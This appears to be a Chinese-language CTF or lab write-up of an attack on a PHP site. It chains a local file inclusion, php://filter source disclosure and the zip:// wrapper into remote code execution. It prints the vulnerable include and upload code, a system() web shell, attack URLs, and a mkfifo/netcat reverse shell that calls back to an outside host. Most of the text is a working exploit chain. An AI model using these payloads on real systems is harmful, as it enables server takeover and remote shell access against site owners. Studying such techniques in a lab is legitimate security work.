文件包含和php伪协议-zip:// 突破边界

英文翻译：使用此在线ZIP转换器，您可以压缩文件并创建ZIP存档。通过ZIP压缩减小文件大小并节省带宽。您上传的文件是加密的，没有人可以访问它们

直接包含不太行，用base64读取，而且测试发现网页会自动加上.php字段php://filter/convert.base64-encode/resource=index

<?php$file = $_GET['file'];if(isset($file)){    include("$file".".php");}else{include("home.php");}?>发现确实会在包含的文件名后面加入.php

php://filter/convert.base64-encode/resource=homebase64解码：

发现有个upload.php：

<?php include 'upload.php'; ?>

php://filter/convert.base64-encode/resource=uploadbase64解码：<?phpif ($_FILES && $_FILES['img']) {        if (!empty($_FILES['img']['name'][0])) {                $zip = new ZipArchive();        $zip_name = getcwd() . "/uploads/upload_" . time() . ".zip";                // Create a zip target        if ($zip->open($zip_name, ZipArchive::CREATE) !== TRUE) {            $error .= "Sorry ZIP creation is not working currently.<br/>";        }                $imageCount = count($_FILES['img']['name']);        for($i=0;$i<$imageCount;$i++) {                    if ($_FILES['img']['tmp_name'][$i] == '') {                continue;            }            $newname = date('YmdHis', time()) . mt_rand() . '.tmp';                        // Moving files to zip.            $zip->addFromString($_FILES['img']['name'][$i], file_get_contents($_FILES['img']['tmp_name'][$i]));                        // moving files to the target folder.            move_uploaded_file($_FILES['img']['tmp_name'][$i], './uploads/' . $newname);        }        $zip->close();                // Create HTML Link option to download zip        $success = basename($zip_name);    } else {        $error = '<strong>Error!! </strong> Please select a file.';    }}

https://rioasmara.com/2021/07/25/php-zip-wrapper-for-rce/?source=post_page-----b49a52ed8e38--------------------------------通过上传一个cmd.php，然后用zip协议去访问它首先上传一个cmd.php：<?php echo system($_GET["cmd"]); ?>上传上去，拿到路径：192.168.x.x/uploads/upload_1725508673.zip

按照zip分享的访问，尝试运行以下：http://192.168.x.x/index.php?file=zip:///uploads/upload_1725508673.zip%23cmd.php&cmd=whoami

<?php echo system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.x.x 80 >/tmp/f"); ?>上传上去，直接访问：uploads/upload_1725510110.ziphttp://192.168.x.x/index.php?file=zip://uploads/upload_1725510110.zip%23cmd